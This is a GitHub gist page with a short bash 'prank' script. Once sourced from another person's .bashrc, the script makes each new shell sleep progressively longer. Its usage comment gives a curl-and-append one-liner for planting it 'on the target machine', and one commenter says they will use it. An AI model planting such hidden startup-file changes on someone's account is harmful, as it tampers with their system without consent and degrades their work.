Last active
April 2, 2017 04:18
-
-
Save kevinhughes27/52aeef2b6c971846349f to your computer and use it in GitHub Desktop.
bash sleep prank
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# sleepy-bash | |
# kevin hughes | |
# [email protected] | |
# 2015 | |
# on each run this script reads a var increments | |
# it then sleeps for that long. | |
# Based on a prank someone told me about once. | |
# I take no credit for the idea only this implementation. | |
# usage: | |
# simply source in someones .bashrc | |
# eg. | |
# on the target machine: | |
# curl -o .sleepy-bash.sh https://gist.github.com/kevinhughes27/52aeef2b6c971846349f && echo 'source ~/.sleepy-bash.sh' >> ~/.bashrc | |
file="$HOME/.gotcha.txt" | |
start_val='0.25' | |
inc_val='0.25' | |
# if file exists read value and increment | |
# else create file and set value | |
if [[ -f $file ]]; then | |
value=`cat $file` | |
value=$(bc<<<"$value + $inc_val") | |
else | |
value=$start_val | |
fi | |
# save value into file | |
#echo $value | |
echo $value > $file | |
sleep $value |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Amazing. Will definitely use!